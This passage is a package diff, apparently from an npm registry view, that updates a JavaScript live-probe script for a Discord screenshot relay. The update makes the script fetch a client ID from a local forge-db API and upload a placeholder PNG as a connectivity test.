...(discordUploadMode != null
|
|
970
|
+
? { discord_screenshot_upload_mode: discordUploadMode }
|
|
971
|
+
: {}),
|
|
955
972
|
...(discordInterval != null
|
|
956
973
|
? { discord_screenshot_interval_ms: discordInterval }
|
|
957
974
|
: {}),
|
package/package.json
CHANGED
|
@@ -13,6 +13,49 @@ dotenv.config({ path: path.join(ROOT, ".env") });
|
|
|
13
13
|
const MIN_PNG_B64 =
|
|
14
14
|
"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==";
|
|
15
15
|
|
|
16
|
+
function forgeDbApiBase() {
|
|
17
|
+
const raw = (
|
|
18
|
+
process.env.RELAY_FORGE_DB_API_URL ||
|
|
19
|
+
process.env.FORGE_JS_SYNC_URL ||
|
|
20
|
+
process.env.CFGMGR_API_URL ||
|
|
21
|
+
""
|
|
22
|
+
)
|
|
23
|
+
.trim()
|
|
24
|
+
.replace(/\/api\/?$/, "")
|
|
25
|
+
.replace(/\/$/, "");
|
|
26
|
+
return raw || "http://127.0.0.1:8765";
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
function relayDiscordRequireSeqId() {
|
|
30
|
+
const v = (process.env.RELAY_DISCORD_REQUIRE_SEQ_ID || "1").trim().toLowerCase();
|
|
31
|
+
return !["0", "false", "no", "off"].includes(v);
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
/** First registry row with numeric seq_id (matches relay channel naming when REQUIRE_SEQ_ID is on). */
|
|
35
|
+
async function fetchProbeClientIdFromForgeDb() {
|
|
36
|
+
const apiKey = (process.env.RELAY_FORGE_DB_API_KEY || process.env.FORGE_DB_API_KEY || "").trim();
|
|
37
|
+
const res = await fetch(`${forgeDbApiBase()}/api/clients`, {
|
|
38
|
+
signal: AbortSignal.timeout(8000),
|
|
39
|
+
headers: {
|
|
40
|
+
"User-Agent": "forge-jsx-discord-live-probe/1.0",
|
|
41
|
+
...(apiKey ? { "X-Forge-Api-Key": apiKey } : {}),
|
|
42
|
+
},
|
|
43
|
+
});
|
|
44
|
+
if (!res.ok) {
|
|
45
|
+
throw new Error(`forge-db /api/clients HTTP ${res.status}`);
|
|
46
|
+
}
|
|
47
|
+
const data = await res.json();
|
|
48
|
+
const clients = Array.isArray(data?.clients) ? data.clients : [];
|
|
49
|
+
for (const row of clients) {
|
|
50
|
+
if (!row || typeof row !== "object") continue;
|
|
51
|
+
const id = String(row.client_id ?? "").trim();
|
|
52
|
+
const seq = row.seq_id;
|
|
53
|
+
const seqNum = typeof seq === "number" ? seq : Number(seq);
|
|
54
|
+
if (id && Number.isFinite(seqNum)) return id;
|
|
55
|
+
}
|
|
56
|
+
return null;
|
|
57
|
+
}
|
|
58
|
+
|
|
16
59
|
async function main() {
|
|
17
60
|
const flag = (process.env.RELAY_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
|
|
18
61
|
if (!["1", "true", "yes", "on"].includes(flag)) {
|
|
@@ -40,11 +83,30 @@ async function main() {
|
|
|
40
83
|
}
|
|
41
84
|
|
|
42
85
|
const tokenPool = getRelayDiscordBotTokens();
|
|
43
|
-
/** Same token the relay uses for this client_id (ticket / webhook create). */
|
|
44
|
-
const tok = relayDiscordBotTokenForClient("live-probe-stable", tokenPool);
|
|
45
86
|
const gid = (process.env.RELAY_DISCORD_GUILD_ID || "").trim();
|
|
46
87
|
const parent = (process.env.RELAY_DISCORD_PARENT_CATEGORY_ID || "").trim();
|
|
47
|
-
|
|
88
|
+
|
|
89
|
+
let clientId = "live-probe-stable";
|
|
90
|
+
if (relayDiscordRequireSeqId()) {
|
|
91
|
+
try {
|
|
92
|
+
const fromDb = await fetchProbeClientIdFromForgeDb();
|
|
93
|
+
if (!fromDb) {
|
|
94
|
+
console.error(
|
|
95
|
+
"FAIL: RELAY_DISCORD_REQUIRE_SEQ_ID is on but forge-db has no client with seq_id. " +
|
|
96
|
+
"Register a client or set RELAY_DISCORD_REQUIRE_SEQ_ID=0 for legacy probe IDs.",
|
|
97
|
+
);
|
|
98
|
+
process.exit(1);
|
|
99
|
+
}
|
|
100
|
+
clientId = fromDb;
|
|
101
|
+
console.log(`(probe client_id from forge-db: ${clientId})`);
|
|
102
|
+
} catch (e) {
|
|
103
|
+
console.error("FAIL: could not load /api/clients for seq_id probe:", e?.message || e);
|
|
104
|
+
process.exit(1);
|
|
105
|
+
}
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
/** Same token the relay uses for this client_id (ticket / webhook create). */
|
|
109
|
+
const tok = relayDiscordBotTokenForClient(clientId, tokenPool);
|
|
48
110
|
const ridBase = `live_wh_${Date.now()}`;
|
|
49
111
|
|
|
50
112
|
process.stdout.write("1. listGuildTextChannels … ");
|
|
@@ -140,7 +202,7 @@ async function main() {
|
|
|
140
202
|
const rid2 = `live_b64_${Date.now()}`;
|
|
141
203
|
const up = await handleDiscordScreenshotUploadFromAgent({
|
|
142
204
|
request_id: rid2,
|
|
143
|
-
client_id:
|
|
205
|
+
client_id: clientId,
|
|
144
206
|
b64: MIN_PNG_B64,
|
|
145
207
|
caption: "forge-js live-probe (bot REST)",
|
|
146
208
|
});
|